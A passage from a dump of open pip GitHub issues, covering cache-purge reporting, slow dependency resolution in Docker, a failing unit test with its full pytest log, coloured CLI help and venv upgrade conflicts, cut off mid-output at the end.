    - The reason PEP 658 works is that it cuts out the ceremony required to access the dependency relationships for a given installation candidate--I think if we continue to pare down the stuff we cache and retain from entire wheels to just the information we need for a resolve (similarly to discussions of what to include in `pip install --report`), we can turn this into more and more of a compute-bound rather than IO-bound problem.
user: cosmicexplorer
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12176: state: open
title: `pip cache purge` show freed space
body: ### What's the problem this feature will solve?

Current report

> Files removed: 364

is a bit meaningless.

### Describe the solution you'd like

Much more interesting to see how much disk space was freed.

### Alternative Solutions

Get cache dir location first and run `du -sh` on it before and after.

### Additional context

I think freed disk space should be added to the default report, not hidden behind e.g. a verbose flag.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: janosh
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12172: state: open
title: pip install taking too long in docker
body: ### Description

Hi all,

I have been working on a project where I need the following packages. 

```
pandas
boto3
s3fs
pyarrow
pycaret
pymongo
pymongo[srv]
mlflow==2.1
uvicorn
gunicorn
psutil
python-multipart
tensorflow-data-validation
loguru
kubernetes
shap
numpy==1.21
pathlib
typing-extensions
fastapi
typer
```
I tried to setup a python:3.9 docker image to do the same. Here's the dockerfile

```
FROM python:3.9
WORKDIR /app
RUN apt update -y && apt install git ffmpeg libc-dev libpq-dev libsm6 libopenblas-dev libxext6 make automake gcc g++ subversion python3-dev -y 
RUN python3 -m pip install --upgrade pip
RUN python3 -m pip install --upgrade setuptools
COPY requirements.txt .
RUN python3 -m pip install -r requirements.txt --default-timeout=900
```
The final version of pip seems to be 23.2. I have tried the install on an M1 MacBook Pro, as well as on an EC2 instance running ubuntu 22.04, both with docker and without it by creating a python venv.

Now the issue is that it appears to be stuck in the installation no matter where I run it. I did a little digging and found that this could be related to the pip's dependency resolver, but I am not sure if that's the case. I have been running the install on mac for over 3 hours now and it still hasn't completed.

<img width="1316" alt="image" src="https://github.com/pypa/pip/assets/100361182/fa94d6d9-1ae9-41c3-b762-3d9487bcbbda">



### Expected behavior

I expected the code to run fairly quickly, like within minutes

### pip version

23.2

### Python version

3.9 and 3.8

### OS

linux and mac

### How to Reproduce

I used the Dockerfile above and ran `docker build --platform linux/amd64 -t image_name:latest`.
I also tried to reproduce this issue outside docker by setting up a python virtual env using the following script
```
#!/bin/bash
sudo apt update -y
sudo apt install software-properties-common build-essential gcc -y
sudo add-apt-repository ppa:deadsnakes/ppa -y
sudo apt install python3.8 python3.8-venv python3.8-dev -y
python3.8 -m venv env
source env/bin/activate
sudo apt install libpq-dev -y
sudo apt install ffmpeg libsm6 libxext6 -y
pip install --upgrade pip
pip install -r requirements.txt
```


### Output

As shared in the description, it appears to be stuck at multiple places during the installation while trying to resolve the right version of a package. One such example is the following:

```
Obtaining dependency information for plotly-resampler>=0.8.3.1 from https://files.pythonhosted.org/packages/f2/74/ffa10e51ca8ea05299cd850c4d42112e597bfefee33ba904e8dfc5f7cba
 => => # b/plotly_resampler-0.9.0-py3-none-any.whl.metadata                                                                                                                             
 => => #   Downloading plotly_resampler-0.9.0-py3-none-any.whl.metadata (12 kB)
```
Another place where it took really long is this: 
<img width="565" alt="image" src="https://github.com/pypa/pip/assets/100361182/2f4f8813-071f-413b-8a74-0072c7d54337">



### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: aarunjith1
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12169: state: open
title: Use GitHub Releases
body: ### What's the problem this feature will solve?

For each tool that I use, I 'watch' that tool in GitHub which gives me a handy notification anytime there's a new release.

![image](https://github.com/pypa/pip/assets/4443482/43397248-3731-4110-8264-fe1663fa6b1f)

pip seems to be the odd one out in using GitHub but not doing releases on GitHub.

### Describe the solution you'd like

Consider doing releases on GitHub. There are ways to do this and have it on the website too.

### Alternative Solutions

Some folks (like NumPy) have all the release details in the GitHub release, and also on their site.

Others (like Pandas) just put a quick note in GitHub with a link to their releases page.

### Additional context

Clearly this is a pretty minor thing, but would be nice!

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: davidgilbertson
labels: type: feature request: Request for a new feature
help wanted: For requesting inputs from other members of the community
issue_12152: state: open
title: tests/unit/test_req.py::TestRequirementSet::test_download_info_archive_cache_with_invalid_origin test failure on Python 3.11.4
body: ### Description

When running the test suite in 23.2 release against Python 3.11.4, I'm getting the following test failure:

```
FAILED tests/unit/test_req.py::TestRequirementSet::test_download_info_archive_cache_with_invalid_origin - AssertionError: assert 'Ignoring invalid cache entry origin file' in 'Created temporary directory: /tmp/portage/dev-python/pip-23....
```

If I'm reading the output correctly, the test assumes that the "Ignoring…" message will be the first logged message while I'm getting a bunch of debug messages first.

### Expected behavior

Tests passing. I think it'd be fine to check something like `any("..." in x for x in caplog.messages)` there.

### pip version

23.2

### Python version

3.11.4

### OS

Gentoo Linux

### How to Reproduce

`nox -s test-3.11`

### Output

```
nox > Running session test-3.11
nox > Creating virtual environment (virtualenv) using python3.11 in .nox/test-3-11
nox > python tools/protected_pip.py wheel -w tests/data/common_wheels -r tests/requirements-common_wheels.txt
nox > python setup.py sdist --formats=zip --dist-dir /tmp/pip-23.2/.nox/test-3-11/sdist
nox > python tools/protected_pip.py install /tmp/pip-23.2/.nox/test-3-11/sdist/pip-23.2.zip
nox > python tools/protected_pip.py install -r tests/requirements.txt
nox > pytest -n auto
========================================================= test session starts =========================================================
platform linux -- Python 3.11.4, pytest-7.4.0, pluggy-1.2.0
rootdir: /tmp/pip-23.2
configfile: setup.cfg
plugins: cov-4.1.0, rerunfailures-12.0, xdist-3.3.1
12 workers [2484 items]   
.........................................................................................................x..................... [  5%]
...........................s.........ss.sss.s.......................x.......................................................... [ 10%]
..x.ssssss......x................s................ss.s.s.......sx....................................x......................... [ 15%]
............x.............................x.................................................................................... [ 20%]
.....xx........................sssssssss..............x................................s..xsss.sss............................. [ 25%]
.............ss....ss...sss...........s.s...................................................................................... [ 30%]
.....................................................................................................................sss....... [ 35%]
.....ssss..................................................................................xxxx................................ [ 40%]
ss.....................................................................................................x....................... [ 46%]
............................................................................................................................... [ 51%]
.........................................................................................................................sss... [ 56%]
........................................................................ssss..s..s...........F................................. [ 61%]
............................................s........s......................................................................... [ 66%]
............................................................................................................................... [ 71%]
.....................................................s......................................................................... [ 76%]
....................................................................s...........................x.x....x.......x............... [ 81%]
...............................................................................s.......................................ss...... [ 86%]
..................X....s..........x.s....X......................................x...............................x...x.......... [ 92%]
.........................x.....x...................................................x........................................... [ 97%]
...................................s...................................                                                         [100%]
============================================================== FAILURES ===============================================================
_______________________________ TestRequirementSet.test_download_info_archive_cache_with_invalid_origin _______________________________
[gw6] linux -- Python 3.11.4 /tmp/pip-23.2/.nox/test-3-11/bin/python

self = <tests.unit.test_req.TestRequirementSet object at 0x7febde16b1d0>
tmp_path = PosixPath('/tmp/pytest-of-mgorny/pytest-0/popen-gw6/test_download_info_archive_cac0')
shared_data = <tests.lib.TestData object at 0x7febddf73850>, caplog = <_pytest.logging.LogCaptureFixture object at 0x7febd7e0cad0>

    def test_download_info_archive_cache_with_invalid_origin(
        self, tmp_path: Path, shared_data: TestData, caplog: pytest.LogCaptureFixture
    ) -> None:
        """Test an invalid origin.json is ignored."""
        url = shared_data.packages.joinpath("simple-1.0.tar.gz").as_uri()
        finder = make_test_finder()
        wheel_cache = WheelCache(str(tmp_path / "cache"))
        cache_entry_dir = wheel_cache.get_path_for_link(Link(url))
        Path(cache_entry_dir).mkdir(parents=True)
        Path(cache_entry_dir).joinpath("origin.json").write_text("{")  # invalid json
        wheel.make_wheel(name="simple", version="1.0").save_to_dir(cache_entry_dir)
        with self._basic_resolver(finder, wheel_cache=wheel_cache) as resolver:
            ireq = get_processed_req_from_line(f"simple @ {url}")
            reqset = resolver.resolve([ireq], True)
            assert len(reqset.all_requirements) == 1
            req = reqset.all_requirements[0]
            assert req.is_wheel_from_cache
>           assert "Ignoring invalid cache entry origin file" in caplog.messages[0]
E           AssertionError: assert 'Ignoring invalid cache entry origin file' in 'Created temporary directory: /tmp/pip-ephem-wheel-cache-6wt1sfr8'

tests/unit/test_req.py:465: AssertionError
-------------------------------------------------------- Captured stdout call ---------------------------------------------------------
Ignoring invalid cache entry origin file /tmp/pytest-of-mgorny/pytest-0/popen-gw6/test_download_info_archive_cac0/cache/wheels/06/16/5f/804e9e012f482776a3f649a1c5f4100b5561dfb2758cc96f9d/origin.json for simple-1.0-py2.py3-none-any.whl (Expecting property name enclosed in double quotes: line 1 column 2 (char 1))
---------------------------------------------------------- Captured log call ----------------------------------------------------------
DEBUG    pip._internal.utils.temp_dir:temp_dir.py:165 Created temporary directory: /tmp/pip-ephem-wheel-cache-6wt1sfr8
DEBUG    pip._internal.utils.temp_dir:temp_dir.py:165 Created temporary directory: /tmp/pip-build-tracker-a3d5npsu
DEBUG    pip._internal.operations.build.build_tracker:build_tracker.py:48 Initialized build tracking at /tmp/pip-build-tracker-a3d5npsu
DEBUG    pip._internal.operations.build.build_tracker:build_tracker.py:58 Created build tracker: /tmp/pip-build-tracker-a3d5npsu
DEBUG    pip._internal.operations.build.build_tracker:build_tracker.py:61 Entered build tracker: /tmp/pip-build-tracker-a3d5npsu
WARNING  pip._internal.cache:cache.py:202 Ignoring invalid cache entry origin file /tmp/pytest-of-mgorny/pytest-0/popen-gw6/test_download_info_archive_cac0/cache/wheels/06/16/5f/804e9e012f482776a3f649a1c5f4100b5561dfb2758cc96f9d/origin.json for simple-1.0-py2.py3-none-any.whl (Expecting property name enclosed in double quotes: line 1 column 2 (char 1))
DEBUG    pip._internal.resolution.legacy.resolver:resolver.py:432 Using cached wheel link: file:///tmp/pytest-of-mgorny/pytest-0/popen-gw6/test_download_info_archive_cac0/cache/wheels/06/16/5f/804e9e012f482776a3f649a1c5f4100b5561dfb2758cc96f9d/simple-1.0-py2.py3-none-any.whl
INFO     pip._internal.operations.prepare:prepare.py:289 Collecting simple@ file:///tmp/pytest-of-mgorny/pytest-0/popen-gw6/data0/packages/simple-1.0.tar.gz (from -r file (line 1))
INFO     pip._internal.operations.prepare:prepare.py:293 Using cached simple-1.0-py2.py3-none-any.whl
DEBUG    pip._internal.operations.build.build_tracker:build_tracker.py:102 Added simple@ file:///tmp/pytest-of-mgorny/pytest-0/popen-gw6/data0/packages/simple-1.0.tar.gz from file:///tmp/pytest-of-mgorny/pytest-0/popen-gw6/test_download_info_archive_cac0/cache/wheels/06/16/5f/804e9e012f482776a3f649a1c5f4100b5561dfb2758cc96f9d/simple-1.0-py2.py3-none-any.whl (from -r file (line 1)) to build tracker '/tmp/pip-build-tracker-a3d5npsu'
DEBUG    pip._internal.operations.build.build_tracker:build_tracker.py:112 Removed simple@ file:///tmp/pytest-of-mgorny/pytest-0/popen-gw6/data0/packages/simple-1.0.tar.gz from file:///tmp/pytest-of-mgorny/pytest-0/popen-gw6/test_download_info_archive_cac0/cache/wheels/06/16/5f/804e9e012f482776a3f649a1c5f4100b5561dfb2758cc96f9d/simple-1.0-py2.py3-none-any.whl (from -r file (line 1)) from build tracker '/tmp/pip-build-tracker-a3d5npsu'
DEBUG    pip._internal.operations.build.build_tracker:build_tracker.py:118 Removed build tracker: '/tmp/pip-build-tracker-a3d5npsu'
========================================================== warnings summary ===========================================================
.nox/test-3-11/lib/python3.11/site-packages/pip/_internal/metadata/pkg_resources.py:8: 12 warnings
  /tmp/pip-23.2/.nox/test-3-11/lib/python3.11/site-packages/pip/_internal/metadata/pkg_resources.py:8: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
    from pip._vendor import pkg_resources

tests/functional/test_debug.py::test_debug__library_versions
  /tmp/pip-23.2/.nox/test-3-11/lib/python3.11/site-packages/pip/_internal/commands/debug.py:38: DeprecationWarning: open_text is deprecated. Use files() instead. Refer to https://importlib-resources.readthedocs.io/en/latest/using.html#migrating-from-legacy for migration advice.
    with importlib.resources.open_text("pip._vendor", "vendor.txt") as f:

tests/functional/test_install_config.py: 36 warnings
  /tmp/pip-23.2/tests/functional/test_install_config.py:460: DeprecationWarning: ssl.PROTOCOL_TLS is deprecated
    ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)

tests/functional/test_install_config.py::test_prompt_for_authentication
  /tmp/pip-23.2/tests/functional/test_install_config.py:284: DeprecationWarning: ssl.PROTOCOL_TLS is deprecated
    ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)

tests/functional/test_install_config.py::test_do_not_prompt_for_authentication
  /tmp/pip-23.2/tests/functional/test_install_config.py:328: DeprecationWarning: ssl.PROTOCOL_TLS is deprecated
    ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)

tests/functional/test_install.py::test_install_sends_client_cert[install_args0]
tests/functional/test_install.py::test_install_sends_client_cert[install_args1]
  /tmp/pip-23.2/tests/functional/test_install.py:2272: DeprecationWarning: ssl.PROTOCOL_TLS is deprecated
    ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)

tests/functional/test_install_wheel.py::test_wheel_install_fails_with_badly_encoded_metadata
  /usr/lib/python3.11/zipfile.py:1550: UserWarning: Duplicate name: 'simple-0.1.0.dist-info/METADATA'
    return self._open_to_write(zinfo, force_zip64=force_zip64)

tests/unit/test_link.py::TestLink::test_fragments
  /tmp/pip-23.2/.nox/test-3-11/lib/python3.11/site-packages/pip/_internal/models/link.py:445: PipDeprecationWarning: DEPRECATION: git+https://example.com/package#egg=eggname[extra] contains an egg fragment with a non-PEP 508 name pip 25.0 will enforce this behaviour change. A possible replacement is to use the req @ url syntax, and remove the egg fragment. Discussion can be found at https://github.com/pypa/pip/issues/11617
    deprecated(

tests/unit/test_link.py::TestLink::test_fragments
  /tmp/pip-23.2/.nox/test-3-11/lib/python3.11/site-packages/pip/_internal/models/link.py:445: PipDeprecationWarning: DEPRECATION: git+https://example.com/package#egg=eggname[extra1,extra2] contains an egg fragment with a non-PEP 508 name pip 25.0 will enforce this behaviour change. A possible replacement is to use the req @ url syntax, and remove the egg fragment. Discussion can be found at https://github.com/pypa/pip/issues/11617
    deprecated(

tests/unit/test_link.py::TestLink::test_fragments
  /tmp/pip-23.2/.nox/test-3-11/lib/python3.11/site-packages/pip/_internal/models/link.py:445: PipDeprecationWarning: DEPRECATION: git+https://example.com/package#egg=eggname[] contains an egg fragment with a non-PEP 508 name pip 25.0 will enforce this behaviour change. A possible replacement is to use the req @ url syntax, and remove the egg fragment. Discussion can be found at https://github.com/pypa/pip/issues/11617
    deprecated(

tests/unit/test_link.py::TestLink::test_invalid_egg_fragments[~invalid~package~name~]
  /tmp/pip-23.2/.nox/test-3-11/lib/python3.11/site-packages/pip/_internal/models/link.py:445: PipDeprecationWarning: DEPRECATION: git+https://example.com/package#egg=~invalid~package~name~ contains an egg fragment with a non-PEP 508 name pip 25.0 will enforce this behaviour change. A possible replacement is to use the req @ url syntax, and remove the egg fragment. Discussion can be found at https://github.com/pypa/pip/issues/11617
    deprecated(

tests/unit/test_link.py::TestLink::test_invalid_egg_fragments[eggname==1.2.3]
  /tmp/pip-23.2/.nox/test-3-11/lib/python3.11/site-packages/pip/_internal/models/link.py:445: PipDeprecationWarning: DEPRECATION: git+https://example.com/package#egg=eggname==1.2.3 contains an egg fragment with a non-PEP 508 name pip 25.0 will enforce this behaviour change. A possible replacement is to use the req @ url syntax, and remove the egg fragment. Discussion can be found at https://github.com/pypa/pip/issues/11617
    deprecated(

tests/unit/test_link.py::TestLink::test_invalid_egg_fragments[eggname>=1.2.3]
  /tmp/pip-23.2/.nox/test-3-11/lib/python3.11/site-packages/pip/_internal/models/link.py:445: PipDeprecationWarning: DEPRECATION: git+https://example.com/package#egg=eggname>=1.2.3 contains an egg fragment with a non-PEP 508 name pip 25.0 will enforce this behaviour change. A possible replacement is to use the req @ url syntax, and remove the egg fragment. Discussion can be found at https://github.com/pypa/pip/issues/11617
    deprecated(

tests/unit/test_link.py::TestLink::test_invalid_egg_fragments[eggname[!]]
  /tmp/pip-23.2/.nox/test-3-11/lib/python3.11/site-packages/pip/_internal/models/link.py:445: PipDeprecationWarning: DEPRECATION: git+https://example.com/package#egg=eggname[!] contains an egg fragment with a non-PEP 508 name pip 25.0 will enforce this behaviour change. A possible replacement is to use the req @ url syntax, and remove the egg fragment. Discussion can be found at https://github.com/pypa/pip/issues/11617
    deprecated(

tests/unit/test_req.py::TestInstallRequirement::test_extras_for_line_url_requirement
tests/unit/test_req.py::TestInstallRequirement::test_extras_for_editable_url_requirement
  /tmp/pip-23.2/.nox/test-3-11/lib/python3.11/site-packages/pip/_internal/models/link.py:445: PipDeprecationWarning: DEPRECATION: git+https://url#egg=SomeProject[ex1,ex2] contains an egg fragment with a non-PEP 508 name pip 25.0 will enforce this behaviour change. A possible replacement is to use the req @ url syntax, and remove the egg fragment. Discussion can be found at https://github.com/pypa/pip/issues/11617
    deprecated(

tests/unit/test_req.py::test_parse_editable_vcs_extras
  /tmp/pip-23.2/.nox/test-3-11/lib/python3.11/site-packages/pip/_internal/models/link.py:445: PipDeprecationWarning: DEPRECATION: svn+https://foo#egg=foo[extras] contains an egg fragment with a non-PEP 508 name pip 25.0 will enforce this behaviour change. A possible replacement is to use the req @ url syntax, and remove the egg fragment. Discussion can be found at https://github.com/pypa/pip/issues/11617
    deprecated(

tests/unit/test_finder.py::test_finder_only_installs_data_require
  /tmp/pip-23.2/.nox/test-3-11/lib/python3.11/site-packages/pip/_vendor/packaging/specifiers.py:255: DeprecationWarning: Creating a LegacyVersion has been deprecated and will be removed in the next major release
    warnings.warn(

tests/unit/test_finder.py::test_finder_only_installs_data_require
tests/unit/test_finder.py::test_finder_only_installs_data_require
  /tmp/pip-23.2/.nox/test-3-11/lib/python3.11/site-packages/pip/_vendor/packaging/version.py:111: DeprecationWarning: Creating a LegacyVersion has been deprecated and will be removed in the next major release
    warnings.warn(

-- Docs: https://docs.pytest.org/en/stable/how-to/capture-warnings.html
======================================================= short test summary info =======================================================
SKIPPED [1] tests/functional/test_install.py:778: Fails on new resolver
SKIPPED [24] tests/functional/test_install_config.py:411: Skipped
SKIPPED [1] tests/functional/test_freeze.py:410: Mercurial is not available
SKIPPED [1] tests/functional/test_freeze.py:516: Mercurial is not available
SKIPPED [1] tests/functional/test_freeze.py:550: Bazaar is not available
SKIPPED [2] tests/functional/test_freeze.py:578: Mercurial is not available
SKIPPED [1] tests/functional/test_install.py:1009: Mercurial is not available
SKIPPED [1] tests/functional/test_search.py:63: pip search test skipped
SKIPPED [1] tests/functional/test_search.py:74: Warehouse search behavior is different and no longer returns multiple results. See https://github.com/pypa/warehouse/issues/3717 for more information.
SKIPPED [1] tests/functional/test_search.py:94: pip search test skipped
SKIPPED [1] tests/functional/test_search.py:103: pip search test skipped
SKIPPED [1] tests/functional/test_search.py:117: pip search test skipped
SKIPPED [1] tests/functional/test_search.py:131: pip search test skipped
SKIPPED [1] tests/functional/test_search.py:143: pip search test skipped
SKIPPED [1] tests/functional/test_search.py:155: pip search test skipped
SKIPPED [1] tests/functional/test_search.py:184: pip search test skipped
SKIPPED [1] tests/functional/test_install_upgrade.py:414: Windows-only test
SKIPPED [1] tests/unit/test_appdirs.py:14: Windows-only test
SKIPPED [1] tests/unit/test_appdirs.py:31: MacOS-only test
SKIPPED [1] tests/unit/test_appdirs.py:89: Windows-only test
SKIPPED [1] tests/unit/test_appdirs.py:103: MacOS-only test
SKIPPED [1] tests/unit/test_appdirs.py:147: Windows-only test
SKIPPED [1] tests/unit/test_appdirs.py:166: Windows-only test
SKIPPED [1] tests/unit/test_appdirs.py:184: MacOS-only test
SKIPPED [2] tests/unit/test_collector.py:319: condition: sys.platform != 'win32'
SKIPPED [3] tests/unit/test_exceptions.py:602: Non-Windows should implement localization
SKIPPED [1] tests/functional/test_install.py:441: Mercurial is not available
SKIPPED [1] tests/functional/test_install.py:452: Mercurial is not available
SKIPPED [1] tests/functional/test_install.py:467: Bazaar is not available
SKIPPED [1] tests/functional/test_install.py:482: Bazaar is not available
SKIPPED [1] tests/unit/test_locations.py:119: Incompatible with venv
SKIPPED [1] tests/unit/test_locations.py:142: Incompatible with venv
SKIPPED [3] tests/unit/test_req.py:860: Test only available on Windows
SKIPPED [1] tests/unit/test_urls.py:31: condition: sys.platform != 'win32'
SKIPPED [1] tests/unit/test_urls.py:66: condition: sys.platform != 'win32'
SKIPPED [1] tests/unit/test_vcs.py:20: Subversion is only required under CI
SKIPPED [1] tests/unit/test_vcs_mercurial.py:14: Mercurial is not available
SKIPPED [1] tests/functional/test_truststore.py:19: 3.10 can run truststore
SKIPPED [1] tests/functional/test_vcs_bazaar.py:16: Bazaar is only required under CI
SKIPPED [1] tests/functional/test_vcs_bazaar.py:25: Bazaar is not available
SKIPPED [1] tests/functional/test_vcs_mercurial.py:7: Mercurial is not available
SKIPPED [1] tests/functional/test_warning.py:64: distutils is deprecated in 3.10+
SKIPPED [1] tests/unit/test_collector.py:296: condition: sys.platform != 'win32'
XFAIL tests/functional/test_install_cleanup.py::test_no_clean_option_blocks_cleaning_after_install - The --build option was removed
XFAIL tests/functional/test_install_reqs.py::test_multiple_requirements_files
XFAIL tests/functional/test_freeze.py::test_freeze_exclude_editable - xfail means editable is not in output
XFAIL tests/functional/test_install_vcs_git.py::test_check_submodule_addition - Git submodule against file: is not working; waiting for a good solution
XFAIL tests/functional/test_install_config.py::test_prompt_for_keyring_if_needed[auth_needed-None-disabled-interactive]
XFAIL tests/functional/test_install_config.py::test_prompt_for_keyring_if_needed[auth_needed-None-disabled-noninteractive]
XFAIL tests/functional/test_install.py::test_installing_scripts_outside_path_prints_warning - No longer possible to trigger the warning with either --prefix or --target
XFAIL tests/functional/test_install_config.py::test_prompt_for_keyring_if_needed[auth_needed-None-import-noninteractive]
XFAIL tests/functional/test_install_config.py::test_prompt_for_keyring_if_needed[auth_needed-None-subprocess-noninteractive]
XFAIL tests/functional/test_install_reqs.py::test_install_distribution_union_conflicting_extras
XFAIL tests/functional/test_install_config.py::test_prompt_for_keyring_if_needed[auth_needed-disabled-disabled-interactive]
XFAIL tests/functional/test_install_config.py::test_prompt_for_keyring_if_needed[auth_needed-disabled-disabled-noninteractive]
XFAIL tests/unit/test_link.py::TestLink::test_invalid_egg_fragments[~invalid~package~name~] - Behavior change scheduled for 25.0
XFAIL tests/unit/test_link.py::TestLink::test_invalid_egg_fragments[eggname==1.2.3] - Behavior change scheduled for 25.0
XFAIL tests/unit/test_link.py::TestLink::test_invalid_egg_fragments[eggname>=1.2.3] - Behavior change scheduled for 25.0
XFAIL tests/unit/test_link.py::TestLink::test_invalid_egg_fragments[eggname[!]] - Behavior change scheduled for 25.0
XFAIL tests/functional/test_install_user.py::Tests_UserSite::test_install_subversion_usersite_editable_with_distribute
XFAIL tests/unit/test_wheel.py::TestInstallUnpackedWheel::test_invalid_entrypoints_fail[console_scripts-hello = hello:]
XFAIL tests/unit/test_wheel.py::TestInstallUnpackedWheel::test_invalid_entrypoints_fail[console_scripts-hello = hello]
XFAIL tests/unit/test_wheel.py::TestInstallUnpackedWheel::test_invalid_entrypoints_fail[gui_scripts-hello = hello]
XFAIL tests/unit/test_wheel.py::TestInstallUnpackedWheel::test_invalid_entrypoints_fail[gui_scripts-hello = hello:]
XFAIL tests/functional/test_install_config.py::test_prompt_for_keyring_if_needed[auth_needed-auto-disabled-interactive]
XFAIL tests/functional/test_install_config.py::test_prompt_for_keyring_if_needed[auth_needed-auto-disabled-noninteractive]
XFAIL tests/functional/test_uninstall.py::test_uninstall_entry_point_colon_in_name[test_:test_ = distutils_install:test_test] - colon not supported in wheel entry point name?
XFAIL tests/functional/test_install_config.py::test_prompt_for_keyring_if_needed[auth_needed-auto-import-noninteractive]
XFAIL tests/functional/test_uninstall.py::test_uninstall_editable_from_svn
XFAIL tests/functional/test_install_config.py::test_prompt_for_keyring_if_needed[auth_needed-auto-subprocess-noninteractive]
XFAIL tests/functional/test_uninstall.py::test_uninstall_from_reqs_file
XPASS tests/functional/test_new_resolver.py::test_new_resolver_check_wheel_version_normalized[file_dot-meta_dash] 
XPASS tests/functional/test_new_resolver.py::test_new_resolver_check_wheel_version_normalized[file_underscore-meta_dash] 
FAILED tests/unit/test_req.py::TestRequirementSet::test_download_info_archive_cache_with_invalid_origin - AssertionError: assert 'Ignoring invalid cache entry origin file' in 'Created temporary directory: /tmp/pip-ephem-wheel-cache-6wt1...
===================== 1 failed, 2381 passed, 72 skipped, 28 xfailed, 2 xpassed, 67 warnings in 230.22s (0:03:50) ======================
nox > Command pytest -n auto failed with exit code 1
nox > Session test-3.11 failed.
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: mgorny
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12143: state: open
title: Colourful pip help
body: Resolves #12134.

I didn't get any feedback on the issue whether this is a welcome addition to pip so I created this PR to let you see what it would look like. Please let me know if I should pursue this further and add tests.
<!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

user: hamdanal
issue_12141: state: open
title: Package upgrade in a venv with `--system-site-packages` can break system packages version requirements
body: ### Description

When dealing with a virtual environment that's configured with `--system-site-packages` and trying to upgrade a package that has version requirements from the system site, if the new version of the package conflicts with these requirements, it will both acknowledge the conflict and raise an error message and install the breaking update in the virtual environment (after failing to uninstall the base version, since it's outside the venv).

```
Requirement already satisfied: urllib3 in <BASE_INSTALL>\lib\site-packages (1.26.15)
Collecting urllib3
  Using cached urllib3-2.0.3-py3-none-any.whl (123 kB)
Installing collected packages: urllib3
  Attempting uninstall: urllib3
    Found existing installation: urllib3 1.26.15
    Not uninstalling urllib3 at <BASE_INSTALL>\lib\site-packages, outside environment <VIRTUAL_ENV>
    Can't uninstall 'urllib3'. No files were found to uninstall.
ERROR: pip's dependency resolver does not currently take into account all the packages that are installed. This behaviour is the source of the following dependency conflicts.
requests 2.28.2 requires urllib3<1.27,>=1.21.1, but you have urllib3 2.0.3 which is incompatible.
Successfully installed urllib3-2.0.3
```

urllib3-2.0.3 is now installed inside `<VIRTUAL_ENV>`, despite the version conflict.

### Expected behavior

The Pip dependency resolver error should stop the installation process, unless the dependent packages are also being updated, so that everything is properly being shadowed.

Obviously this sort of situation could still run into the "Fragile base class" problem later on, where a new package could be added to the base installation that imports another base installation package, the latter of which is being shadowed by an incompatible virtual environment package. That's something to be expected by the user when using a `--system-site-packages` environment, though, and not really something Pip can help with.

### pip version

23.0.1

### Python version

3.11.4

### OS

Windows Server 2016

### How to Reproduce

* Given a base Python installation with, for instance, `requests 2.28.2` and `urllib3 1.26.15` installed
    * The latest `urllib3 2.0.3` would be incompatible with `requests 2.28.2`
* Create a venv refering to that base installation with `--system-site-packages` turned on
* Activate that venv and run `pip install -U urllib3`, to upgrade it to the latest version

Notice how, despite raising a dependency resolution error, Pip actually did install the latest version or urllib3, which will cause usage of `requests` in that environment to break. `import requests` pulls the base installation version, but `import urllib3` loads the incompatible virtual environment version.

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: sm-Fifteen
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12134: state: open
title: Improve pip's CLI help using rich colors
body: ### What's the problem this feature will solve?

Reading the help of a large CLI like pip can sometimes be difficult because of the amount of information displayed on the screen. pip already improve on the default optparse help formatters by using a custom [`PrettyHelpFormatte`](https://github.com/pypa/pip/blob/177cf88c5c989caabd4c233a1784d1e27c459aec/src/pip/_internal/cli/parser.py#L18). I think the help text can be made even more easier to read by using different colors for the section titles and for the command line arguments.

### Describe the solution you'd like

With rich already vendored by pip, it is a fairly straight forward to improve the situation. I'd like to propose a PR adding this if there is no objection from the maintainers. I expect the change to be minimal since pip already does of the customization work already and the heavy lifting is done by rich.

### Alternative Solutions

Do nothing, the current situation is good enough.

### Additional context

I have a working optparse formatter with colors here https://github.com/hamdanal/rich-argparse/blob/main/rich_argparse/optparse.py. The change will be based on this formatter but modified per pip's custom requirements.


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: hamdanal
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12129: state: open
title: python3 pip maybe should not create /usr/local/bin/pip ？
body: ### What's the problem this feature will solve?

```
$ python -m pip show -f pip
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Pyton 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will rmove support for this functionality.
Name: pip
Version: 20.3.4
Summary: The PyPA recommended tool for installing Python packages.
Home-page: https://pip.pypa.io/
Author: The pip developers
Author-email: distutils-sig@python.org
License: MIT
Location: /usr/local/lib/python2.7/dist-packages
Requires: 
Required-by: 
Files:
  ../../../bin/pip
  ../../../bin/pip2
  ../../../bin/pip2.7
  pip-20.3.4.dist-info/INSTALLER
  pip-20.3.4.dist-info/LICENSE.txt
```

```
$ python3.11 -m pip show -f pip
Name: pip
Version: 23.1.2
Summary: The PyPA recommended tool for installing Python packages.
Home-page: https://pip.pypa.io/
Author: The pip developers
Author-email: distutils-sig@python.org
License: MIT
Location: /usr/local/lib/python3.11/site-packages
Requires: 
Required-by: 
Files:
